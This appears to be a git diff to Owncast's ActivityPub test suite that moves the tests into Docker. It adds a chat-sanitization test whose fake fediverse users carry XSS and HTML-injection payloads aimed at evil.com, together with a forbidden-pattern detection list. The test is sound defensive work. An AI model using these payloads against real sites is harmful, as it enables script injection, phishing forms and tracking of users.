Make sure you ran `mkcert -install` and generated the certificates. The CA must be in the system trust store for snac2 to trust the certificates.
|
Make sure Docker is running. On macOS, Docker Desktop or a compatible runtime (colima, OrbStack, etc.) is required.
|
||||||
|
|
||||||
### Port already in use
|
### Port already in use
|
||||||
|
|
||||||
Kill any leftover processes:
|
If a previous container didn't shut down cleanly:
|
||||||
```bash
|
```bash
|
||||||
pkill -f "snac httpd /tmp"
|
docker ps -a | grep owncast-ap-test
|
||||||
pkill -f "caddy run"
|
docker rm -f <container_id>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Hosts file not configured
|
### Cleaning up Docker resources
|
||||||
|
|
||||||
Verify the entries exist:
|
|
||||||
```bash
|
```bash
|
||||||
grep -E 'owncast.local|snac.local' /etc/hosts
|
# Remove the image
|
||||||
|
docker rmi owncast-ap-test
|
||||||
|
|
||||||
|
# Remove Go caches
|
||||||
|
docker volume rm owncast-ap-test-gomod owncast-ap-test-gobuild
|
||||||
```
|
```
|
||||||
|
|||||||
Executable
+20
@@ -0,0 +1,20 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
set -e
|
||||||
|
|
||||||
|
# Generate mkcert certificates for the test domains.
|
||||||
|
# These are placed in a container-local path so they don't leak into the
|
||||||
|
# mounted source tree.
|
||||||
|
export CERT_DIR="/tmp/test-certs"
|
||||||
|
mkdir -p "${CERT_DIR}"
|
||||||
|
mkcert -cert-file "${CERT_DIR}/cert.pem" \
|
||||||
|
-key-file "${CERT_DIR}/key.pem" \
|
||||||
|
owncast.local snac.local localhost 127.0.0.1
|
||||||
|
|
||||||
|
# Change CWD away from the mounted repo root so Owncast doesn't pick up the
|
||||||
|
# host's (possibly wrong-architecture) ffmpeg binary via ./ffmpeg detection.
|
||||||
|
# Stay inside the git repo so `git rev-parse --show-toplevel` still works.
|
||||||
|
cd /owncast/test/automated/activitypub
|
||||||
|
|
||||||
|
# Run the specified test script (default: test-federation.sh)
|
||||||
|
TEST_SCRIPT="${1:-test-federation.sh}"
|
||||||
|
exec "/owncast/test/automated/activitypub/${TEST_SCRIPT}"
|
||||||
@@ -1,14 +1,52 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Run the ActivityPub federation test
|
# Run the ActivityPub federation test inside a Docker container.
|
||||||
#
|
#
|
||||||
# Usage:
|
# Usage:
|
||||||
# ./run.sh # Run with 100 users
|
# ./run.sh # Run federation test with 100 users
|
||||||
# USER_COUNT=50 ./run.sh # Run with 50 users
|
# ./run.sh test-follower-validation.sh # Run follower validation test
|
||||||
# KEEP_RUNNING=true ./run.sh # Keep servers running after test
|
# USER_COUNT=50 ./run.sh # Run with 50 users
|
||||||
|
# KEEP_RUNNING=true ./run.sh # Keep servers running after test
|
||||||
#
|
#
|
||||||
# Prerequisites:
|
# Prerequisites:
|
||||||
# Add to /etc/hosts: 127.0.0.1 owncast.local snac.local
|
# Docker must be installed and running.
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
exec "${SCRIPT_DIR}/test-federation.sh" "$@"
|
REPO_ROOT="$(git rev-parse --show-toplevel)"
|
||||||
|
IMAGE_NAME="owncast-ap-test"
|
||||||
|
|
||||||
|
echo "Building Docker image..."
|
||||||
|
docker build -t "${IMAGE_NAME}" "${SCRIPT_DIR}"
|
||||||
|
|
||||||
|
# Collect environment variables to pass through
|
||||||
|
ENV_ARGS=()
|
||||||
|
for var in USER_COUNT FOLLOW_DELAY KEEP_RUNNING CI PROXY_PORT SNAC_PORT OWNCAST_PORT CLEAR_SHARED_INBOX_PERCENT; do
|
||||||
|
if [[ -n "${!var}" ]]; then
|
||||||
|
ENV_ARGS+=("-e" "${var}=${!var}")
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Always skip interactive prompts inside the container
|
||||||
|
ENV_ARGS+=("-e" "CI=true")
|
||||||
|
|
||||||
|
# Port-forward when KEEP_RUNNING is set so the user can access the services
|
||||||
|
EXTRA_ARGS=()
|
||||||
|
if [[ "${KEEP_RUNNING}" == "true" ]]; then
|
||||||
|
OWNCAST_PORT="${OWNCAST_PORT:-8080}"
|
||||||
|
PROXY_PORT="${PROXY_PORT:-8443}"
|
||||||
|
EXTRA_ARGS+=("-p" "${OWNCAST_PORT}:${OWNCAST_PORT}" "-p" "${PROXY_PORT}:${PROXY_PORT}")
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Running test in Docker container..."
|
||||||
|
docker run --rm \
|
||||||
|
--add-host owncast.local:127.0.0.1 \
|
||||||
|
--add-host snac.local:127.0.0.1 \
|
||||||
|
-v "${REPO_ROOT}:/owncast" \
|
||||||
|
-v owncast-ap-test-gomod:/go/pkg/mod \
|
||||||
|
-v owncast-ap-test-gobuild:/root/.cache/go-build \
|
||||||
|
"${ENV_ARGS[@]}" \
|
||||||
|
"${EXTRA_ARGS[@]}" \
|
||||||
|
"${IMAGE_NAME}" \
|
||||||
|
"$@"
|
||||||
|
|||||||
+520
@@ -0,0 +1,520 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# shellcheck disable=SC2317,SC2329 # cleanup() is invoked via trap, not direct call
|
||||||
|
# shellcheck disable=SC2034 # SNAC_URL is unused but kept for consistency with other AP tests
|
||||||
|
|
||||||
|
# Chat Sanitization Test for Fediverse Engagement Events
|
||||||
|
#
|
||||||
|
# This test verifies that malicious HTML and markdown in ActivityPub actor
|
||||||
|
# display names is sanitized before being rendered in chat messages.
|
||||||
|
#
|
||||||
|
# The test:
|
||||||
|
# 1. Starts snac2 + Owncast + HTTPS proxy (same as federation test)
|
||||||
|
# 2. Creates snac2 users with malicious display names (HTML, markdown)
|
||||||
|
# 3. Enables engagement display in chat
|
||||||
|
# 4. Has the malicious users follow Owncast
|
||||||
|
# 5. Queries the chat messages from the database
|
||||||
|
# 6. Verifies no HTML tags or markdown artifacts appear in stored messages
|
||||||
|
#
|
||||||
|
# Prerequisites:
|
||||||
|
# Add to /etc/hosts: 127.0.0.1 owncast.local snac.local
|
||||||
|
|
||||||
|
set -e
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
REPO_ROOT="$(git rev-parse --show-toplevel)"
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
FOLLOW_DELAY="${FOLLOW_DELAY:-0.3}"
|
||||||
|
CI="${CI:-false}"
|
||||||
|
PROXY_PORT="${PROXY_PORT:-8443}"
|
||||||
|
SNAC_PORT="${SNAC_PORT:-9080}"
|
||||||
|
SNAC_HOSTNAME="snac.local"
|
||||||
|
OWNCAST_PORT="${OWNCAST_PORT:-8080}"
|
||||||
|
OWNCAST_HOSTNAME="owncast.local"
|
||||||
|
ADMIN_USER="admin"
|
||||||
|
ADMIN_PASS="abc123"
|
||||||
|
FEDERATION_USERNAME="streamer"
|
||||||
|
|
||||||
|
# URLs
|
||||||
|
SNAC_URL="https://${SNAC_HOSTNAME}:${PROXY_PORT}"
|
||||||
|
OWNCAST_URL="https://${OWNCAST_HOSTNAME}:${PROXY_PORT}"
|
||||||
|
|
||||||
|
# Directories
|
||||||
|
TEMP_DIR=""
|
||||||
|
SNAC_DATA_DIR=""
|
||||||
|
SNAC_BIN=""
|
||||||
|
OWNCAST_DB=""
|
||||||
|
|
||||||
|
# PIDs
|
||||||
|
SNAC_PID=""
|
||||||
|
OWNCAST_PID=""
|
||||||
|
PROXY_PID=""
|
||||||
|
|
||||||
|
# Colors
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
log_info() { echo -e "${GREEN}[INFO]${NC} $1"; }
|
||||||
|
log_warn() { echo -e "${YELLOW}[WARN]${NC} $1"; }
|
||||||
|
log_error() { echo -e "${RED}[ERROR]${NC} $1"; }
|
||||||
|
log_test() { echo -e "${CYAN}[TEST]${NC} $1"; }
|
||||||
|
|
||||||
|
# Test users: username -> malicious display name
|
||||||
|
# These simulate real-world attack payloads from the security advisory
|
||||||
|
declare -A MALICIOUS_USERS
|
||||||
|
MALICIOUS_USERS=(
|
||||||
|
["htmlscript"]='<script>alert("xss")</script>'
|
||||||
|
["htmliframe"]='<iframe src="https://evil.com"></iframe>'
|
||||||
|
["htmlimg"]='<img src="https://evil.com/track.png">'
|
||||||
|
["htmlform"]='<form action="https://evil.com"><input type="password"></form>'
|
||||||
|
["htmlmeta"]='<meta http-equiv="refresh" content="0;url=https://evil.com">'
|
||||||
|
["htmlstyle"]='<style>body{display:none}</style>Visible'
|
||||||
|
["mdimage"]=''
|
||||||
|
["mdlink"]='[Click me](https://evil.com)'
|
||||||
|
["mixedhtml"]='Alice <script>alert(1)</script> Bob'
|
||||||
|
["cleanuser"]='Legitimate User'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Patterns that must NOT appear in stored chat message bodies
|
||||||
|
FORBIDDEN_PATTERNS=(
|
||||||
|
'<script'
|
||||||
|
'<iframe'
|
||||||
|
'<img'
|
||||||
|
'<form'
|
||||||
|
'<meta'
|
||||||
|
'<style'
|
||||||
|
'<input'
|
||||||
|
'src="https://evil'
|
||||||
|
'action="https://evil'
|
||||||
|
'onerror='
|
||||||
|
'onload='
|
||||||
|
)
|
||||||
|
|
||||||
|
kill_leftover_processes() {
|
||||||
|
local killed=false
|
||||||
|
if pkill -f "snac httpd /tmp" 2>/dev/null; then killed=true; fi
|
||||||
|
if pkill -f "local-proxy.js" 2>/dev/null; then killed=true; fi
|
||||||
|
|
||||||
|
local proxy_pid
|
||||||
|
proxy_pid=$(lsof -ti :"${PROXY_PORT}" 2>/dev/null) || true
|
||||||
|
if [[ -n "${proxy_pid}" ]]; then
|
||||||
|
kill "${proxy_pid}" 2>/dev/null || true
|
||||||
|
killed=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
local snac_pid
|
||||||
|
snac_pid=$(lsof -ti :"${SNAC_PORT}" 2>/dev/null) || true
|
||||||
|
if [[ -n "${snac_pid}" ]]; then
|
||||||
|
kill "${snac_pid}" 2>/dev/null || true
|
||||||
|
killed=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ "${killed}" == "true" ]]; then
|
||||||
|
log_info "Killed leftover processes from previous run"
|
||||||
|
sleep 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup() {
|
||||||
|
log_info "Cleaning up..."
|
||||||
|
if [[ -n "${PROXY_PID}" ]] && kill -0 "${PROXY_PID}" 2>/dev/null; then
|
||||||
|
kill "${PROXY_PID}" 2>/dev/null || true
|
||||||
|
wait "${PROXY_PID}" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
if [[ -n "${OWNCAST_PID}" ]] && kill -0 "${OWNCAST_PID}" 2>/dev/null; then
|
||||||
|
kill "${OWNCAST_PID}" 2>/dev/null || true
|
||||||
|
wait "${OWNCAST_PID}" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
if [[ -n "${SNAC_PID}" ]] && kill -0 "${SNAC_PID}" 2>/dev/null; then
|
||||||
|
kill "${SNAC_PID}" 2>/dev/null || true
|
||||||
|
wait "${SNAC_PID}" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
if [[ -n "${TEMP_DIR}" ]] && [[ -d "${TEMP_DIR}" ]]; then
|
||||||
|
rm -rf "${TEMP_DIR}"
|
||||||
|
fi
|
||||||
|
log_info "Cleanup complete."
|
||||||
|
}
|
||||||
|
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
setup_temp_dir() {
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
SNAC_DATA_DIR="${TEMP_DIR}/snac-data"
|
||||||
|
OWNCAST_DB="${TEMP_DIR}/owncast.db"
|
||||||
|
log_info "Temp directory: ${TEMP_DIR}"
|
||||||
|
}
|
||||||
|
|
||||||
|
check_hosts_entry() {
|
||||||
|
if ! grep -q "${OWNCAST_HOSTNAME}" /etc/hosts 2>/dev/null || ! grep -q "${SNAC_HOSTNAME}" /etc/hosts 2>/dev/null; then
|
||||||
|
log_warn "Required /etc/hosts entries not found."
|
||||||
|
log_warn "Please add: 127.0.0.1 ${OWNCAST_HOSTNAME} ${SNAC_HOSTNAME}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
log_info "Hosts entries verified"
|
||||||
|
}
|
||||||
|
|
||||||
|
install_snac2() {
|
||||||
|
log_info "Setting up snac2..."
|
||||||
|
if command -v snac &> /dev/null; then
|
||||||
|
SNAC_BIN=$(command -v snac)
|
||||||
|
log_info "Using system snac2: ${SNAC_BIN}"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
local snac_src="${TEMP_DIR}/snac2-src"
|
||||||
|
log_info "Cloning snac2..."
|
||||||
|
git clone --depth 1 https://codeberg.org/grunfink/snac2.git "${snac_src}" 2>/dev/null
|
||||||
|
log_info "Building snac2..."
|
||||||
|
pushd "${snac_src}" > /dev/null
|
||||||
|
make
|
||||||
|
SNAC_BIN="${snac_src}/snac"
|
||||||
|
popd > /dev/null
|
||||||
|
log_info "snac2 built: ${SNAC_BIN}"
|
||||||
|
}
|
||||||
|
|
||||||
|
check_certs() {
|
||||||
|
# CERT_DIR may be set by the Docker entrypoint; fall back to local certs/
|
||||||
|
CERT_DIR="${CERT_DIR:-${SCRIPT_DIR}/certs}"
|
||||||
|
if [[ ! -f "${CERT_DIR}/cert.pem" ]] || [[ ! -f "${CERT_DIR}/key.pem" ]]; then
|
||||||
|
log_error "Certificates not found in ${CERT_DIR}. See README.md for setup."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
log_info "Using certificates from ${CERT_DIR}"
|
||||||
|
}
|
||||||
|
|
||||||
|
init_snac2() {
|
||||||
|
log_info "Initializing snac2..."
|
||||||
|
local snac_host_port="${SNAC_HOSTNAME}:${PROXY_PORT}"
|
||||||
|
printf "127.0.0.1\n%s\n%s\n\ntest@test.local\n" "${SNAC_PORT}" "${snac_host_port}" | \
|
||||||
|
"${SNAC_BIN}" init "${SNAC_DATA_DIR}" > /dev/null 2>&1
|
||||||
|
log_info "snac2 initialized"
|
||||||
|
}
|
||||||
|
|
||||||
|
create_malicious_users() {
|
||||||
|
log_info "Creating snac2 users with malicious display names..."
|
||||||
|
|
||||||
|
local run_id
|
||||||
|
run_id=$(date +%s%N | sha256sum | head -c 8)
|
||||||
|
|
||||||
|
local created=0
|
||||||
|
for username in "${!MALICIOUS_USERS[@]}"; do
|
||||||
|
local displayname="${MALICIOUS_USERS[$username]}"
|
||||||
|
local full_username="${username}${run_id}"
|
||||||
|
|
||||||
|
if printf "%s\n%s\n" "${full_username}" "${displayname}" | "${SNAC_BIN}" adduser "${SNAC_DATA_DIR}" > /dev/null 2>&1; then
|
||||||
|
# Update the key to include the run_id so we can find them later
|
||||||
|
MALICIOUS_USERS["${username}"]="${displayname}"
|
||||||
|
# Store the full username for follow requests
|
||||||
|
SNAC_FULL_USERNAMES["${username}"]="${full_username}"
|
||||||
|
created=$((created + 1))
|
||||||
|
log_info " Created user '${full_username}' with display name: ${displayname}"
|
||||||
|
else
|
||||||
|
log_error " Failed to create user '${full_username}'"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
log_info "Created ${created} users with malicious display names"
|
||||||
|
}
|
||||||
|
|
||||||
|
start_proxy() {
|
||||||
|
log_info "Starting HTTPS reverse proxy (Caddy)..."
|
||||||
|
if ! command -v caddy &> /dev/null; then
|
||||||
|
log_error "Caddy is not installed."
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
export PROXY_PORT OWNCAST_PORT SNAC_PORT
|
||||||
|
export CERT_FILE="${CERT_DIR}/cert.pem"
|
||||||
|
export KEY_FILE="${CERT_DIR}/key.pem"
|
||||||
|
|
||||||
|
local caddy_log="${TEMP_DIR}/caddy.log"
|
||||||
|
caddy run --config "${SCRIPT_DIR}/Caddyfile" --adapter caddyfile > "${caddy_log}" 2>&1 &
|
||||||
|
PROXY_PID=$!
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
if ! kill -0 "${PROXY_PID}" 2>/dev/null; then
|
||||||
|
log_error "Caddy failed to start"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
local max_attempts=10
|
||||||
|
local attempt=0
|
||||||
|
while [[ ${attempt} -lt ${max_attempts} ]]; do
|
||||||
|
if curl -sk "https://127.0.0.1:${PROXY_PORT}/" > /dev/null 2>&1; then
|
||||||
|
log_info "Caddy proxy is ready"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
attempt=$((attempt + 1))
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
log_error "Caddy proxy did not become ready"
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
start_snac2() {
|
||||||
|
log_info "Starting snac2 server..."
|
||||||
|
local snac_log="${TEMP_DIR}/snac2.log"
|
||||||
|
DEBUG=0 "${SNAC_BIN}" httpd "${SNAC_DATA_DIR}" > "${snac_log}" 2>&1 &
|
||||||
|
SNAC_PID=$!
|
||||||
|
|
||||||
|
local max_attempts=30
|
||||||
|
local attempt=0
|
||||||
|
while [[ ${attempt} -lt ${max_attempts} ]]; do
|
||||||
|
if curl -s "http://127.0.0.1:${SNAC_PORT}/" > /dev/null 2>&1; then
|
||||||
|
log_info "snac2 is ready"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
attempt=$((attempt + 1))
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
log_error "snac2 did not become ready"
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
build_owncast() {
|
||||||
|
log_info "Building Owncast..."
|
||||||
|
pushd "${REPO_ROOT}" > /dev/null
|
||||||
|
CGO_ENABLED=1 go build -o owncast main.go
|
||||||
|
popd > /dev/null
|
||||||
|
log_info "Owncast built"
|
||||||
|
}
|
||||||
|
|
||||||
|
start_owncast() {
|
||||||
|
log_info "Starting Owncast..."
|
||||||
|
OWNCAST_ALLOW_INTERNAL_FEDERATION=true \
|
||||||
|
OWNCAST_INSECURE_SKIP_VERIFY=true \
|
||||||
|
"${REPO_ROOT}/owncast" -database "${OWNCAST_DB}" &
|
||||||
|
OWNCAST_PID=$!
|
||||||
|
|
||||||
|
local max_attempts=30
|
||||||
|
local attempt=0
|
||||||
|
while [[ ${attempt} -lt ${max_attempts} ]]; do
|
||||||
|
if curl -s "http://localhost:${OWNCAST_PORT}/api/status" > /dev/null 2>&1; then
|
||||||
|
log_info "Owncast is ready"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
attempt=$((attempt + 1))
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
log_error "Owncast did not become ready"
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
configure_owncast() {
|
||||||
|
log_info "Configuring Owncast..."
|
||||||
|
local base_url="http://localhost:${OWNCAST_PORT}"
|
||||||
|
local auth
|
||||||
|
auth=$(echo -n "${ADMIN_USER}:${ADMIN_PASS}" | base64)
|
||||||
|
|
||||||
|
# Set server URL
|
||||||
|
curl -s -X POST "${base_url}/api/admin/config/serverurl" \
|
||||||
|
-H "Authorization: Basic ${auth}" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "{\"value\": \"${OWNCAST_URL}\"}" > /dev/null
|
||||||
|
|
||||||
|
# Set federation username
|
||||||
|
curl -s -X POST "${base_url}/api/admin/config/federation/username" \
|
||||||
|
-H "Authorization: Basic ${auth}" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "{\"value\": \"${FEDERATION_USERNAME}\"}" > /dev/null
|
||||||
|
|
||||||
|
# Enable federation
|
||||||
|
curl -s -X POST "${base_url}/api/admin/config/federation/enable" \
|
||||||
|
-H "Authorization: Basic ${auth}" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"value": true}' > /dev/null
|
||||||
|
|
||||||
|
# Disable private mode
|
||||||
|
curl -s -X POST "${base_url}/api/admin/config/federation/private" \
|
||||||
|
-H "Authorization: Basic ${auth}" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"value": false}' > /dev/null
|
||||||
|
|
||||||
|
# Enable engagement display in chat
|
||||||
|
curl -s -X POST "${base_url}/api/admin/config/federation/showengagement" \
|
||||||
|
-H "Authorization: Basic ${auth}" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"value": true}' > /dev/null
|
||||||
|
|
||||||
|
log_info "Owncast configured (engagement display enabled)"
|
||||||
|
}
|
||||||
|
|
||||||
|
send_follow_requests() {
|
||||||
|
log_info "Sending follow requests from malicious users..."
|
||||||
|
local owncast_actor="${OWNCAST_URL}/federation/user/${FEDERATION_USERNAME}"
|
||||||
|
local successful=0
|
||||||
|
|
||||||
|
for username in "${!MALICIOUS_USERS[@]}"; do
|
||||||
|
local full_username="${SNAC_FULL_USERNAMES[$username]}"
|
||||||
|
local follow_output
|
||||||
|
follow_output=$("${SNAC_BIN}" follow "${SNAC_DATA_DIR}" "${full_username}" "${owncast_actor}" 2>&1)
|
||||||
|
local follow_exit=$?
|
||||||
|
|
||||||
|
if [[ ${follow_exit} -eq 0 ]] && [[ ! "${follow_output}" =~ "cannot" ]]; then
|
||||||
|
successful=$((successful + 1))
|
||||||
|
log_info " ${full_username} followed Owncast"
|
||||||
|
else
|
||||||
|
log_warn " ${full_username} follow failed: ${follow_output}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep "${FOLLOW_DELAY}"
|
||||||
|
done
|
||||||
|
|
||||||
|
log_test "${successful}/${#MALICIOUS_USERS[@]} follow requests sent"
|
||||||
|
|
||||||
|
# Wait for follow requests to be processed
|
||||||
|
local user_count=${#MALICIOUS_USERS[@]}
|
||||||
|
local wait_time=$((15 + user_count))
|
||||||
|
log_info "Waiting ${wait_time}s for engagement events to be processed..."
|
||||||
|
sleep "${wait_time}"
|
||||||
|
}
|
||||||
|
|
||||||
|
verify_chat_sanitization() {
|
||||||
|
log_info "Verifying chat message sanitization..."
|
||||||
|
|
||||||
|
local passed=true
|
||||||
|
local tests_run=0
|
||||||
|
local tests_passed=0
|
||||||
|
|
||||||
|
# Query fediverse engagement messages from the database
|
||||||
|
local messages
|
||||||
|
messages=$(sqlite3 "${OWNCAST_DB}" \
|
||||||
|
"SELECT body FROM messages WHERE eventType IN ('FEDIVERSE_ENGAGEMENT_FOLLOW', 'FEDIVERSE_ENGAGEMENT_LIKE', 'FEDIVERSE_ENGAGEMENT_REPOST');" 2>/dev/null)
|
||||||
|
|
||||||
|
if [[ -z "${messages}" ]]; then
|
||||||
|
log_error "No fediverse engagement messages found in database"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
local message_count
|
||||||
|
message_count=$(echo "${messages}" | wc -l | tr -d ' ')
|
||||||
|
log_info "Found ${message_count} engagement messages in chat"
|
||||||
|
|
||||||
|
# Test 1: No forbidden HTML patterns in any message
|
||||||
|
for pattern in "${FORBIDDEN_PATTERNS[@]}"; do
|
||||||
|
tests_run=$((tests_run + 1))
|
||||||
|
if echo "${messages}" | grep -qi "${pattern}"; then
|
||||||
|
log_error "FAIL: Found forbidden pattern '${pattern}' in chat messages:"
|
||||||
|
echo "${messages}" | grep -i "${pattern}" | while read -r line; do
|
||||||
|
log_error " Body: ${line}"
|
||||||
|
done
|
||||||
|
passed=false
|
||||||
|
else
|
||||||
|
tests_passed=$((tests_passed + 1))
|
||||||
|
log_test "PASS: No '${pattern}' found in messages"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Test 2: Verify the clean user's message is present
|
||||||
|
# Note: snac2 may not serve the display name in actor objects, so we check
|
||||||
|
# for either the display name or the username fallback.
|
||||||
|
tests_run=$((tests_run + 1))
|
||||||
|
local clean_username="${SNAC_FULL_USERNAMES[cleanuser]}"
|
||||||
|
if echo "${messages}" | grep -q "Legitimate User"; then
|
||||||
|
tests_passed=$((tests_passed + 1))
|
||||||
|
log_test "PASS: Clean display name 'Legitimate User' preserved correctly"
|
||||||
|
elif echo "${messages}" | grep -q "${clean_username}"; then
|
||||||
|
tests_passed=$((tests_passed + 1))
|
||||||
|
log_test "PASS: Clean user present via username fallback '${clean_username}'"
|
||||||
|
else
|
||||||
|
log_error "FAIL: Clean user message not found in chat"
|
||||||
|
passed=false
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Test 3: Verify that messages with stripped HTML fell back to expected content
|
||||||
|
# Messages from users whose display names were entirely HTML should show
|
||||||
|
# the follow action text but not the HTML
|
||||||
|
tests_run=$((tests_run + 1))
|
||||||
|
if echo "${messages}" | grep -q "followed this stream"; then
|
||||||
|
tests_passed=$((tests_passed + 1))
|
||||||
|
log_test "PASS: Follow action text present in messages"
|
||||||
|
else
|
||||||
|
log_error "FAIL: No 'followed this stream' text found in any message"
|
||||||
|
passed=false
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Test 4: No markdown image syntax rendered as HTML img tags
|
||||||
|
tests_run=$((tests_run + 1))
|
||||||
|
if echo "${messages}" | grep -qi '<img.*src=.*evil'; then
|
||||||
|
log_error "FAIL: Markdown image syntax was rendered as HTML img tag"
|
||||||
|
passed=false
|
||||||
|
else
|
||||||
|
tests_passed=$((tests_passed + 1))
|
||||||
|
log_test "PASS: No markdown-rendered img tags found"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Test 5: No markdown link syntax rendered as HTML anchor tags with evil URLs
|
||||||
|
tests_run=$((tests_run + 1))
|
||||||
|
if echo "${messages}" | grep -qi '<a.*href=.*evil'; then
|
||||||
|
log_error "FAIL: Markdown link syntax was rendered as HTML anchor tag"
|
||||||
|
passed=false
|
||||||
|
else
|
||||||
|
tests_passed=$((tests_passed + 1))
|
||||||
|
log_test "PASS: No markdown-rendered anchor tags with evil URLs found"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Print all stored messages for inspection
|
||||||
|
echo ""
|
||||||
|
log_info "All stored engagement messages:"
|
||||||
|
echo "${messages}" | while read -r line; do
|
||||||
|
log_info " ${line}"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "========================================"
|
||||||
|
echo "Chat Sanitization Test Results"
|
||||||
|
echo "========================================"
|
||||||
|
echo "Tests run: ${tests_run}"
|
||||||
|
echo "Tests passed: ${tests_passed}"
|
||||||
|
echo "========================================"
|
||||||
|
|
||||||
|
if [[ "${passed}" == "true" ]]; then
|
||||||
|
echo -e "${GREEN}TEST PASSED${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}TEST FAILED${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# We need an associative array for the full usernames
|
||||||
|
declare -A SNAC_FULL_USERNAMES
|
||||||
|
|
||||||
|
main() {
|
||||||
|
kill_leftover_processes
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "========================================"
|
||||||
|
echo "Chat Sanitization Test"
|
||||||
|
echo "========================================"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Setup infrastructure
|
||||||
|
setup_temp_dir
|
||||||
|
check_hosts_entry
|
||||||
|
install_snac2
|
||||||
|
check_certs
|
||||||
|
init_snac2
|
||||||
|
create_malicious_users
|
||||||
|
start_proxy
|
||||||
|
start_snac2
|
||||||
|
build_owncast
|
||||||
|
start_owncast
|
||||||
|
configure_owncast
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
# Send follows from malicious users
|
||||||
|
send_follow_requests
|
||||||
|
|
||||||
|
# Verify results
|
||||||
|
if verify_chat_sanitization; then
|
||||||
|
exit 0
|
||||||
|
else
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
main "$@"
|
||||||
@@ -47,6 +47,7 @@ OWNCAST_URL="https://${OWNCAST_HOSTNAME}:${PROXY_PORT}"
|
|||||||
TEMP_DIR=""
|
TEMP_DIR=""
|
||||||
SNAC_DATA_DIR=""
|
SNAC_DATA_DIR=""
|
||||||
SNAC_BIN=""
|
SNAC_BIN=""
|
||||||
|
OWNCAST_BIN=""
|
||||||
OWNCAST_DB=""
|
OWNCAST_DB=""
|
||||||
|
|
||||||
# PIDs and state
|
# PIDs and state
|
||||||
@@ -55,6 +56,7 @@ OWNCAST_PID=""
|
|||||||
PROXY_PID=""
|
PROXY_PID=""
|
||||||
TEST_STREAM_PID=""
|
TEST_STREAM_PID=""
|
||||||
SNAC_USERNAMES=()
|
SNAC_USERNAMES=()
|
||||||
|
CONFIRMED_FOLLOWERS=()
|
||||||
|
|
||||||
# Colors
|
# Colors
|
||||||
RED='\033[0;31m'
|
RED='\033[0;31m'
|
||||||
@@ -182,8 +184,8 @@ install_snac2() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
check_certs() {
|
check_certs() {
|
||||||
# Use pre-generated mkcert certificates from the script directory
|
# CERT_DIR may be set by the Docker entrypoint; fall back to local certs/
|
||||||
CERT_DIR="${SCRIPT_DIR}/certs"
|
CERT_DIR="${CERT_DIR:-${SCRIPT_DIR}/certs}"
|
||||||
|
|
||||||
if [[ ! -f "${CERT_DIR}/cert.pem" ]] || [[ ! -f "${CERT_DIR}/key.pem" ]]; then
|
if [[ ! -f "${CERT_DIR}/cert.pem" ]] || [[ ! -f "${CERT_DIR}/key.pem" ]]; then
|
||||||
log_error "Certificates not found in ${CERT_DIR}"
|
